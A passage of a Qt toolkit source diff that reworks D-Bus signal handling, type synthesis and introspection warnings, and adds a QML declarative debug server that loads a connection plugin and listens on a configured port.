 }
diff --git a/src/dbus/qdbusintegrator.cpp b/src/dbus/qdbusintegrator.cpp
index 3c0cb6e..14138e0 100644
--- a/src/dbus/qdbusintegrator.cpp
+++ b/src/dbus/qdbusintegrator.cpp
@@ -558,8 +558,9 @@ bool QDBusConnectionPrivate::handleMessage(const QDBusMessage &amsg)
     switch (amsg.type()) {
     case QDBusMessage::SignalMessage:
         handleSignal(amsg);
-        return true;
-        break;
+        // if there are any other filters in this DBusConnection,
+        // let them see the signal too
+        return false;
     case QDBusMessage::MethodCallMessage:
         handleObjectCall(amsg);
         return true;
@@ -2073,30 +2074,20 @@ void QDBusConnectionPrivate::connectSignal(const QString &key, const SignalHook
 
     if (connection) {
         qDBusDebug("Adding rule: %s", hook.matchRule.constData());
-        QDBusErrorInternal error;
-        q_dbus_bus_add_match(connection, hook.matchRule, error);
-        if (!!error) {
-            QDBusError qerror = error;
-            qWarning("QDBusConnectionPrivate::connectSignal: received error from D-Bus server "
-                     "while connecting signal to %s::%s: %s (%s)",
-                     hook.obj->metaObject()->className(),
-                     hook.obj->metaObject()->method(hook.midx).signature(),
-                     qPrintable(qerror.name()), qPrintable(qerror.message()));
-            Q_ASSERT(false);
-        } else {
-            // Successfully connected the signal
-            // Do we need to watch for this name?
-            if (shouldWatchService(hook.service)) {
-                WatchedServicesHash::mapped_type &data = watchedServices[hook.service];
-                if (++data.refcount == 1) {
-                    // we need to watch for this service changing
-                    connectSignal(dbusServiceString(), QString(), dbusInterfaceString(),
-                                  QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(),
-                                  this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString)));
-                    data.owner = getNameOwnerNoCache(hook.service);
-                    qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:"
-                            << data.owner << ")";
-                }
+        q_dbus_bus_add_match(connection, hook.matchRule, NULL);
+
+        // Successfully connected the signal
+        // Do we need to watch for this name?
+        if (shouldWatchService(hook.service)) {
+            WatchedServicesHash::mapped_type &data = watchedServices[hook.service];
+            if (++data.refcount == 1) {
+                // we need to watch for this service changing
+                connectSignal(dbusServiceString(), QString(), dbusInterfaceString(),
+                              QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(),
+                              this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString)));
+                data.owner = getNameOwnerNoCache(hook.service);
+                qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:"
+                             << data.owner << ")";
             }
         }
     }
diff --git a/src/dbus/qdbusmetaobject.cpp b/src/dbus/qdbusmetaobject.cpp
index 5fe0589..df8bc1d 100644
--- a/src/dbus/qdbusmetaobject.cpp
+++ b/src/dbus/qdbusmetaobject.cpp
@@ -169,6 +169,8 @@ QDBusMetaObjectGenerator::QDBusMetaObjectGenerator(const QString &interfaceName,
     }
 }
 
+Q_DBUS_EXPORT bool qt_dbus_metaobject_skip_annotations = false;
+
 QDBusMetaObjectGenerator::Type
 QDBusMetaObjectGenerator::findType(const QByteArray &signature,
                                    const QDBusIntrospection::Annotations &annotations,
@@ -178,7 +180,7 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature,
     result.id = QVariant::Invalid;
 
     int type = QDBusMetaType::signatureToType(signature);
-    if (type == QVariant::Invalid) {
+    if (type == QVariant::Invalid && !qt_dbus_metaobject_skip_annotations) {
         // it's not a type normally handled by our meta type system
         // it must contain an annotation
         QString annotationName = QString::fromLatin1("com.trolltech.QtDBus.QtTypeName");
@@ -191,16 +193,35 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature,
         QByteArray typeName = annotations.value(annotationName).toLatin1();
 
         // verify that it's a valid one
-        if (typeName.isEmpty())
-            return result;      // invalid
+        if (!typeName.isEmpty()) {
+            // type name found
+            type = QVariant::nameToType(typeName);
+            if (type == QVariant::UserType)
+                type = QMetaType::type(typeName);
+        }
 
-        type = QVariant::nameToType(typeName);
-        if (type == QVariant::UserType)
-            type = QMetaType::type(typeName);
-        if (type == QVariant::Invalid || signature != QDBusMetaType::typeToSignature(type))
-            return result;      // unknown type is invalid too
+        if (type == QVariant::Invalid || signature != QDBusMetaType::typeToSignature(type)) {
+            // type is still unknown or doesn't match back to the signature that it
+            // was expected to, so synthesize a fake type
+            type = QMetaType::VoidStar;
+            typeName = "QDBusRawType<0x" + signature.toHex() + ">*";
+        }
 
         result.name = typeName;
+    } else if (type == QVariant::Invalid) {
+        // this case is used only by the qdbus command-line tool
+        // invalid, let's create an impossible type that contains the signature
+
+        if (signature == "av") {
+            result.name = "QVariantList";
+            type = QVariant::List;
+        } else if (signature == "a{sv}") {
+            result.name = "QVariantMap";
+            type = QVariant::Map;
+        } else {
+            result.name = "QDBusRawType::" + signature;
+            type = -1;
+        }
     } else {
         result.name = QVariant::typeToName( QVariant::Type(type) );
     }
diff --git a/src/dbus/qdbusmetatype.cpp b/src/dbus/qdbusmetatype.cpp
index 6de5d93..9f29205 100644
--- a/src/dbus/qdbusmetatype.cpp
+++ b/src/dbus/qdbusmetatype.cpp
@@ -127,6 +127,7 @@ void QDBusMetaTypeId::init()
         registerHelper<QLineF>();
         registerHelper<QVariantList>();
         registerHelper<QVariantMap>();
+        registerHelper<QVariantHash>();
 
         qDBusRegisterMetaType<QList<bool> >();
         qDBusRegisterMetaType<QList<short> >();
diff --git a/src/dbus/qdbusxmlparser.cpp b/src/dbus/qdbusxmlparser.cpp
index 1b99ced..3feedde 100644
--- a/src/dbus/qdbusxmlparser.cpp
+++ b/src/dbus/qdbusxmlparser.cpp
@@ -52,6 +52,13 @@
 
 #ifndef QT_NO_DBUS
 
+//#define QDBUS_PARSER_DEBUG
+#ifdef QDBUS_PARSER_DEBUG
+# define qDBusParserError qWarning
+#else
+# define qDBusParserError if (true) {} else qDebug
+#endif
+
 QT_BEGIN_NAMESPACE
 
 static QDBusIntrospection::Annotations
@@ -69,8 +76,8 @@ parseAnnotations(const QDomElement& elem)
                value = ann.attribute(QLatin1String("value"));
 
         if (!QDBusUtil::isValidInterfaceName(name)) {
-            qWarning("Invalid D-BUS annotation '%s' found while parsing introspection",
-                     qPrintable(name));
+            qDBusParserError("Invalid D-BUS annotation '%s' found while parsing introspection",
+                             qPrintable(name));
             continue;
         }
 
@@ -99,9 +106,8 @@ parseArgs(const QDomElement& elem, const QLatin1String& direction, bool acceptEm
                 argData.name = arg.attribute(QLatin1String("name")); // can be empty
             argData.type = arg.attribute(QLatin1String("type"));
             if (!QDBusUtil::isValidSingleSignature(argData.type)) {
-                qWarning("Invalid D-BUS type signature '%s' found while parsing introspection",
-                         qPrintable(argData.type));
-                continue;
+                qDBusParserError("Invalid D-BUS type signature '%s' found while parsing introspection",
+                                 qPrintable(argData.type));
             }
 
             retval << argData;
@@ -141,8 +147,8 @@ QDBusXmlParser::interfaces() const
         if (iface.isNull())
             continue;           // for whatever reason
         if (!QDBusUtil::isValidInterfaceName(ifaceName)) {
-            qWarning("Invalid D-BUS interface name '%s' found while parsing introspection",
-                     qPrintable(ifaceName));
+            qDBusParserError("Invalid D-BUS interface name '%s' found while parsing introspection",
+                             qPrintable(ifaceName));
             continue;
         }
 
@@ -166,8 +172,8 @@ QDBusXmlParser::interfaces() const
             if (method.isNull())
                 continue;
             if (!QDBusUtil::isValidMemberName(methodName)) {
-                qWarning("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
-                         qPrintable(methodName), qPrintable(ifaceName));
+                qDBusParserError("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
+                                 qPrintable(methodName), qPrintable(ifaceName));
                 continue;
             }
 
@@ -192,8 +198,8 @@ QDBusXmlParser::interfaces() const
             if (signal.isNull())
                 continue;
             if (!QDBusUtil::isValidMemberName(signalName)) {
-                qWarning("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
-                         qPrintable(signalName), qPrintable(ifaceName));
+                qDBusParserError("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
+                                 qPrintable(signalName), qPrintable(ifaceName));
                 continue;
             }
 
@@ -217,8 +223,8 @@ QDBusXmlParser::interfaces() const
             if (property.isNull())
                 continue;
             if (!QDBusUtil::isValidMemberName(propertyName)) {
-                qWarning("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
-                         qPrintable(propertyName), qPrintable(ifaceName));
+                qDBusParserError("Invalid D-BUS member name '%s' found in interface '%s' while parsing introspection",
+                                 qPrintable(propertyName), qPrintable(ifaceName));
                 continue;
             }
 
@@ -231,10 +237,9 @@ QDBusXmlParser::interfaces() const
 
             if (!QDBusUtil::isValidSingleSignature(propertyData.type)) {
                 // cannot be!
-                qWarning("Invalid D-BUS type signature '%s' found in property '%s.%s' while parsing introspection",
-                         qPrintable(propertyData.type), qPrintable(ifaceName),
-                         qPrintable(propertyName));
-                continue;
+                qDBusParserError("Invalid D-BUS type signature '%s' found in property '%s.%s' while parsing introspection",
+                                 qPrintable(propertyData.type), qPrintable(ifaceName),
+                                 qPrintable(propertyName));
             }
 
             QString access = property.attribute(QLatin1String("access"));
@@ -245,9 +250,9 @@ QDBusXmlParser::interfaces() const
             else if (access == QLatin1String("readwrite"))
                 propertyData.access = QDBusIntrospection::Property::ReadWrite;
             else {
-                qWarning("Invalid D-BUS property access '%s' found in property '%s.%s' while parsing introspection",
-                         qPrintable(access), qPrintable(ifaceName),
-                         qPrintable(propertyName));
+                qDBusParserError("Invalid D-BUS property access '%s' found in property '%s.%s' while parsing introspection",
+                                 qPrintable(access), qPrintable(ifaceName),
+                                 qPrintable(propertyName));
                 continue;       // invalid one!
             }
 
@@ -286,8 +291,8 @@ QDBusXmlParser::object() const
             if (obj.isNull())
                 continue;           // for whatever reason
             if (!QDBusUtil::isValidObjectPath(m_path + QLatin1Char('/') + objName)) {
-                qWarning("Invalid D-BUS object path '%s/%s' found while parsing introspection",
-                         qPrintable(m_path), qPrintable(objName));
+                qDBusParserError("Invalid D-BUS object path '%s/%s' found while parsing introspection",
+                                 qPrintable(m_path), qPrintable(objName));
                 continue;
             }
 
@@ -301,8 +306,8 @@ QDBusXmlParser::object() const
             if (iface.isNull())
                 continue;
             if (!QDBusUtil::isValidInterfaceName(ifaceName)) {
-                qWarning("Invalid D-BUS interface name '%s' found while parsing introspection",
-                         qPrintable(ifaceName));
+                qDBusParserError("Invalid D-BUS interface name '%s' found while parsing introspection",
+                                 qPrintable(ifaceName));
                 continue;
             }
 
diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri
index 25f7687..75287b4 100644
--- a/src/declarative/debugger/debugger.pri
+++ b/src/declarative/debugger/debugger.pri
@@ -7,13 +7,17 @@ SOURCES += \
     $$PWD/qdeclarativedebugclient.cpp \
     $$PWD/qdeclarativedebug.cpp \
     $$PWD/qdeclarativedebugtrace.cpp \
-    $$PWD/qdeclarativedebughelper.cpp
+    $$PWD/qdeclarativedebughelper.cpp \
+    $$PWD/qdeclarativedebugserver.cpp
 
 HEADERS += \
     $$PWD/qdeclarativedebuggerstatus_p.h \
     $$PWD/qpacketprotocol_p.h \
     $$PWD/qdeclarativedebugservice_p.h \
+    $$PWD/qdeclarativedebugservice_p_p.h \
     $$PWD/qdeclarativedebugclient_p.h \
     $$PWD/qdeclarativedebug_p.h \
     $$PWD/qdeclarativedebugtrace_p.h \
-    $$PWD/qdeclarativedebughelper_p.h
+    $$PWD/qdeclarativedebughelper_p.h \
+    $$PWD/qdeclarativedebugserver_p.h \
+    debugger/qdeclarativedebugserverconnection_p.h
diff --git a/src/declarative/debugger/qdeclarativedebugclient.cpp b/src/declarative/debugger/qdeclarativedebugclient.cpp
index e6a3f69..036dee1 100644
--- a/src/declarative/debugger/qdeclarativedebugclient.cpp
+++ b/src/declarative/debugger/qdeclarativedebugclient.cpp
@@ -61,7 +61,7 @@ public:
     QDeclarativeDebugClientPrivate();
 
     QString name;
-    QDeclarativeDebugConnection *client;
+    QDeclarativeDebugConnection *connection;
 };
 
 class QDeclarativeDebugConnectionPrivate : public QObject
@@ -202,7 +202,7 @@ QDeclarativeDebugConnection::~QDeclarativeDebugConnection()
 {
     QHash<QString, QDeclarativeDebugClient*>::iterator iter = d->plugins.begin();
     for (; iter != d->plugins.end(); ++iter) {
-         iter.value()->d_func()->client = 0;
+         iter.value()->d_func()->connection = 0;
          iter.value()->statusChanged(QDeclarativeDebugClient::NotConnected);
     }
 }
@@ -213,7 +213,7 @@ bool QDeclarativeDebugConnection::isConnected() const
 }
 
 QDeclarativeDebugClientPrivate::QDeclarativeDebugClientPrivate()
-: client(0)
+: connection(0)
 {
 }
 
@@ -223,26 +223,26 @@ QDeclarativeDebugClient::QDeclarativeDebugClient(const QString &name,
 {
     Q_D(QDeclarativeDebugClient);
     d->name = name;
-    d->client = parent;
+    d->connection = parent;
 
-    if (!d->client)
+    if (!d->connection)
         return;
 
-    if (d->client->d->plugins.contains(name)) {
+    if (d->connection->d->plugins.contains(name)) {
         qWarning() << "QDeclarativeDebugClient: Conflicting plugin name" << name;
-        d->client = 0;
+        d->connection = 0;
     } else {
-        d->client->d->plugins.insert(name, this);
-        d->client->d->advertisePlugins();
+        d->connection->d->plugins.insert(name, this);
+        d->connection->d->advertisePlugins();
     }
 }
 
 QDeclarativeDebugClient::~QDeclarativeDebugClient()
 {
     Q_D(const QDeclarativeDebugClient);
-    if (d->client && d->client->d) {
-        d->client->d->plugins.remove(d->name);
-        d->client->d->advertisePlugins();
+    if (d->connection && d->connection->d) {
+        d->connection->d->plugins.remove(d->name);
+        d->connection->d->advertisePlugins();
     }
 }
 
@@ -255,12 +255,12 @@ QString QDeclarativeDebugClient::name() const
 QDeclarativeDebugClient::Status QDeclarativeDebugClient::status() const
 {
     Q_D(const QDeclarativeDebugClient);
-    if (!d->client
-            || !d->client->isConnected()
-            || !d->client->d->gotHello)
+    if (!d->connection
+            || !d->connection->isConnected()
+            || !d->connection->d->gotHello)
         return NotConnected;
 
-    if (d->client->d->serverPlugins.contains(d->name))
+    if (d->connection->d->serverPlugins.contains(d->name))
         return Enabled;
 
     return Unavailable;
@@ -275,8 +275,8 @@ void QDeclarativeDebugClient::sendMessage(const QByteArray &message)
 
     QPacket pack;
     pack << d->name << message;
-    d->client->d->protocol->send(pack);
-    d->client->d->q->flush();
+    d->connection->d->protocol->send(pack);
+    d->connection->d->q->flush();
 }
 
 void QDeclarativeDebugClient::statusChanged(Status)
diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp
new file mode 100644
index 0000000..ea3d9a3
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugserver.cpp
@@ -0,0 +1,361 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativedebugserver_p.h"
+#include "private/qdeclarativedebugservice_p.h"
+#include "private/qdeclarativedebugservice_p_p.h"
+#include "private/qdeclarativeengine_p.h"
+
+#include <QtCore/QDir>
+#include <QtCore/QPluginLoader>
+#include <QtCore/QStringList>
+
+#include <private/qobject_p.h>
+#include <private/qapplication_p.h>
+
+QT_BEGIN_NAMESPACE
+
+/*
+  QDeclarativeDebug Protocol (Version 1):
+
+  handshake:
+    1. Client sends
+         "QDeclarativeDebugServer" 0 version pluginNames
+       version: an int representing the highest protocol version the client knows
+       pluginNames: plugins available on client side
+    2. Server sends
+         "QDeclarativeDebugClient" 0 version pluginNames
+       version: an int representing the highest protocol version the client & server know
+       pluginNames: plugins available on server side. plugins both in the client and server message are enabled.
+  client plugin advertisement
+    1. Client sends
+         "QDeclarativeDebugServer" 1 pluginNames
+  server plugin advertisement
+    1. Server sends
+         "QDeclarativeDebugClient" 1 pluginNames
+  plugin communication:
+       Everything send with a header different to "QDeclarativeDebugServer" is sent to the appropriate plugin.
+  */
+
+const int protocolVersion = 1;
+
+
+class QDeclarativeDebugServerPrivate : public QObjectPrivate
+{
+    Q_DECLARE_PUBLIC(QDeclarativeDebugServer)
+public:
+    QDeclarativeDebugServerPrivate();
+
+    void advertisePlugins();
+
+    QDeclarativeDebugServerConnection *connection;
+    QHash<QString, QDeclarativeDebugService *> plugins;
+    QStringList clientPlugins;
+    bool gotHello;
+
+    static QDeclarativeDebugServerConnection *loadConnectionPlugin();
+};
+
+QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() :
+    connection(0),
+    gotHello(false)
+{
+}
+
+void QDeclarativeDebugServerPrivate::advertisePlugins()
+{
+    if (!gotHello)
+        return;
+
+    QByteArray message;
+    {
+        QDataStream out(&message, QIODevice::WriteOnly);
+        out << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys();
+    }
+    connection->send(message);
+}
+
+QDeclarativeDebugServerConnection *QDeclarativeDebugServerPrivate::loadConnectionPlugin()
+{
+    QStringList pluginCandidates;
+    const QStringList paths = QCoreApplication::libraryPaths();
+    foreach (const QString &libPath, paths) {
+        const QDir dir(libPath + QLatin1String("/qmltooling"));
+        if (dir.exists()) {
+            QStringList plugins(dir.entryList(QDir::Files));
+            foreach (const QString &pluginPath, plugins) {
+                pluginCandidates << dir.absoluteFilePath(pluginPath);
+            }
+        }
+    }
+
+    foreach (const QString &pluginPath, pluginCandidates) {
+        QPluginLoader loader(pluginPath);
+        if (!loader.load()) {
+            continue;
+        }
+        QDeclarativeDebugServerConnection *connection = 0;
+        if (QObject *instance = loader.instance())
+            connection = qobject_cast<QDeclarativeDebugServerConnection*>(instance);
+
+        if (connection)
+            return connection;
+        loader.unload();
+    }
+    return 0;
+}
+
+bool QDeclarativeDebugServer::hasDebuggingClient() const
+{
+    Q_D(const QDeclarativeDebugServer);
+    return d->connection
+            && d->connection->isConnected()
+            && d->gotHello;
+}
+
+QDeclarativeDebugServer *QDeclarativeDebugServer::instance()
+{
+    static bool commandLineTested = false;
+    static QDeclarativeDebugServer *server = 0;
+
+    if (!commandLineTested) {
+        commandLineTested = true;
+
+#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL
+        QApplicationPrivate *appD = static_cast<QApplicationPrivate*>(QObjectPrivate::get(qApp));
+        // ### remove port definition when protocol is changed
+        int port = 0;
+        bool block = false;
+        bool ok = false;
+
+        // format: qmljsdebugger=port:3768[,block]
+        if (!appD->qmljsDebugArgumentsString().isEmpty()) {
+            if (!QDeclarativeEnginePrivate::qml_debugging_enabled) {
+                const QString message =
+                    QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
+                              "Debugging has not been enabled.").arg(
+                                  appD->qmljsDebugArgumentsString());
+                qWarning("%s", qPrintable(message));
+                return 0;
+            }
+
+            if (appD->qmljsDebugArgumentsString().indexOf(QLatin1String("port:")) == 0) {
+                int separatorIndex = appD->qmljsDebugArgumentsString().indexOf(QLatin1Char(','));
+                port = appD->qmljsDebugArgumentsString().mid(5, separatorIndex - 5).toInt(&ok);
+            }
+            block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block"));
+
+            if (ok) {
+                server = new QDeclarativeDebugServer();
+
+                QDeclarativeDebugServerConnection *connection
+                        = QDeclarativeDebugServerPrivate::loadConnectionPlugin();
+                if (connection) {
+                    server->d_func()->connection = connection;
+
+                    connection->setServer(server);
+                    connection->setPort(port, block);
+                } else {
+                    qWarning() << QString::fromAscii("QDeclarativeDebugServer: Ignoring\"-qmljsdebugger=%1\". "
+                                                     "Remote debugger plugin has not been found.").arg(appD->qmljsDebugArgumentsString());
+                }
+
+            } else {
+                qWarning(QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
+                                            "Format is -qmljsdebugger=port:<port>[,block]").arg(
+                             appD->qmljsDebugArgumentsString()).toAscii().constData());
+            }
+        }
+#endif
+    }
+
+    return server;
+}
+
+QDeclarativeDebugServer::QDeclarativeDebugServer()
+: QObject(*(new QDeclarativeDebugServerPrivate))
+{
+}
+
+void QDeclarativeDebugServer::receiveMessage(const QByteArray &message)
+{
+    Q_D(QDeclarativeDebugServer);
+
+    QDataStream in(message);
+    if (!d->gotHello) {
+
+        QString name;
+        int op;
+        in >> name >> op;
+
+        if (name != QLatin1String("QDeclarativeDebugServer")
+                || op != 0) {
+            qWarning("QDeclarativeDebugServer: Invalid hello message");
+            d->connection->disconnect();
+            return;
+        }
+
+        int version;
+        in >> version >> d->clientPlugins;
+
+        QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
+        for (; iter != d->plugins.end(); ++iter) {
+            QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
+            if (d->clientPlugins.contains(iter.key()))
+                newStatus = QDeclarativeDebugService::Enabled;
+            iter.value()->d_func()->status = newStatus;
+            iter.value()->statusChanged(newStatus);
+        }
+
+        QByteArray helloAnswer;
+        {
+            QDataStream out(&helloAnswer, QIODevice::WriteOnly);
+            out << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys();
+        }
+        d->connection->send(helloAnswer);
+
+        d->gotHello = true;
+        qWarning("QDeclarativeDebugServer: Connection established");
+    } else {
+
+        QString debugServer(QLatin1String("QDeclarativeDebugServer"));
+
+        QString name;
+        in >> name;
+
+        if (name == debugServer) {
+            int op = -1;
+            in >> op;
+
+            if (op == 1) {
+                // Service Discovery
+                QStringList oldClientPlugins = d->clientPlugins;
+                in >> d->clientPlugins;
+
+                QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
+                for (; iter != d->plugins.end(); ++iter) {
+                    const QString pluginName = iter.key();
+                    QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
+                    if (d->clientPlugins.contains(pluginName))
+                        newStatus = QDeclarativeDebugService::Enabled;
+
+                    if (oldClientPlugins.contains(pluginName)
+                            != d->clientPlugins.contains(pluginName)) {
+                        iter.value()->d_func()->status = newStatus;
+                        iter.value()->statusChanged(newStatus);
+                    }
+                }
+            } else {
+                qWarning("QDeclarativeDebugServer: Invalid control message %d", op);
+            }
+        } else {
+            QByteArray message;
+            in >> message;
+
+            QHash<QString, QDeclarativeDebugService *>::Iterator iter =
+                d->plugins.find(name);
+            if (iter == d->plugins.end()) {
+                qWarning() << "QDeclarativeDebugServer: Message received for missing plugin" << name;
+            } else {
+                (*iter)->messageReceived(message);
+            }
+        }
+    }
+}
+
+QList<QDeclarativeDebugService*> QDeclarativeDebugServer::services() const
+{
+    const Q_D(QDeclarativeDebugServer);
+    return d->plugins.values();
+}
+
+QStringList QDeclarativeDebugServer::serviceNames() const
+{
+    const Q_D(QDeclarativeDebugServer);
+    return d->plugins.keys();
+}
+
+bool QDeclarativeDebugServer::addService(QDeclarativeDebugService *service)
+{
+    Q_D(QDeclarativeDebugServer);
+    if (!service || d->plugins.contains(service->name()))
+        return false;
+
+    d->plugins.insert(service->name(), service);
+    d->advertisePlugins();
+
+    QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
+    if (d->clientPlugins.contains(service->name()))
+        newStatus = QDeclarativeDebugService::Enabled;
+    service->d_func()->status = newStatus;
+    service->statusChanged(newStatus);
+    return true;
+}
+
+bool QDeclarativeDebugServer::removeService(QDeclarativeDebugService *service)
+{
+    Q_D(QDeclarativeDebugServer);
+    if (!service || !d->plugins.contains(service->name()))
+        return false;
+
+    d->plugins.remove(service->name());
+    d->advertisePlugins();
+
+    QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::NotConnected;
+    service->d_func()->server = 0;
+    service->d_func()->status = newStatus;
+    service->statusChanged(newStatus);
+    return true;
+}
+
+void QDeclarativeDebugServer::sendMessage(QDeclarativeDebugService *service,
+                                          const QByteArray &message)
+{
+    Q_D(QDeclarativeDebugServer);
+    QByteArray msg;
+    {
+        QDataStream out(&msg, QIODevice::WriteOnly);
+        out << service->name() << message;
+    }
+    d->connection->send(msg);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qdeclarativedebugserver_p.h b/src/declarative/debugger/qdeclarativedebugserver_p.h
new file mode 100644
index 0000000..ec3e60f
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugserver_p.h
@@ -0,0 +1,88 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGSERVER_H
+#define QDECLARATIVEDEBUGSERVER_H
+
+#include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativedebugserverconnection_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugService;
+
+class QDeclarativeDebugServerPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeDebugServer : public QObject
+{
+    Q_OBJECT
+    Q_DECLARE_PRIVATE(QDeclarativeDebugServer)
+    Q_DISABLE_COPY(QDeclarativeDebugServer)
+public:
+    static QDeclarativeDebugServer *instance();
+
+    void setConnection(QDeclarativeDebugServerConnection *connection);
+
+    bool hasDebuggingClient() const;
+
+    QList<QDeclarativeDebugService*> services() const;
+    QStringList serviceNames() const;
+
+    bool addService(QDeclarativeDebugService *service);
+    bool removeService(QDeclarativeDebugService *service);
+
+    void sendMessage(QDeclarativeDebugService *service, const QByteArray &message);
+    void receiveMessage(const QByteArray &message);
+
+private:
+    friend class QDeclarativeDebugService;
+    friend class QDeclarativeDebugServicePrivate;
+    QDeclarativeDebugServer();
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVICE_H
diff --git a/tools/qdoc3/uncompressor.h b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h
index d877f13..631da74 100644
--- a/tools/qdoc3/uncompressor.h
+++ b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h
@@ -1,10 +1,10 @@
 /****************************************************************************
 **
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,41 +39,35 @@
 **
 ****************************************************************************/
 
-/*
-  uncompressor.h
-*/
+#ifndef QDECLARATIVEDEBUGSERVERCONNECTION_H
+#define QDECLARATIVEDEBUGSERVERCONNECTION_H
 
-#ifndef UNCOMPRESSOR_H
-#define UNCOMPRESSOR_H
+#include <QtDeclarative/private/qdeclarativeglobal_p.h>
 
-#include <qstringlist.h>
-
-#include "location.h"
+QT_BEGIN_HEADER
 
 QT_BEGIN_NAMESPACE
 
-class Uncompressor
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugServer;
+class Q_DECLARATIVE_EXPORT QDeclarativeDebugServerConnection
 {
 public:
-    Uncompressor( const QStringList& extensions );
-    virtual ~Uncompressor();
-
-    virtual QString uncompressedFilePath( const QString& filePath ) = 0;
-    virtual void uncompressFile( const Location& location,
-				 const QString& filePath,
-				 const QString& outputFilePath ) = 0;
-
-    static Uncompressor *uncompressorForFileName( const QString& fileName );
+    QDeclarativeDebugServerConnection() {}
+    virtual ~QDeclarativeDebugServerConnection() {}
 
-protected:
-    const QStringList& fileExtensions() const { return fileExts; }
-
-private:
-    QStringList fileExts;
-
-    static QList<Uncompressor *> uncompressors;
+    virtual void setServer(QDeclarativeDebugServer *server) = 0;
+    virtual void setPort(int port, bool bock) = 0;
+    virtual bool isConnected() const = 0;
+    virtual void send(const QByteArray &message) = 0;
+    virtual void disconnect() = 0;
 };
 
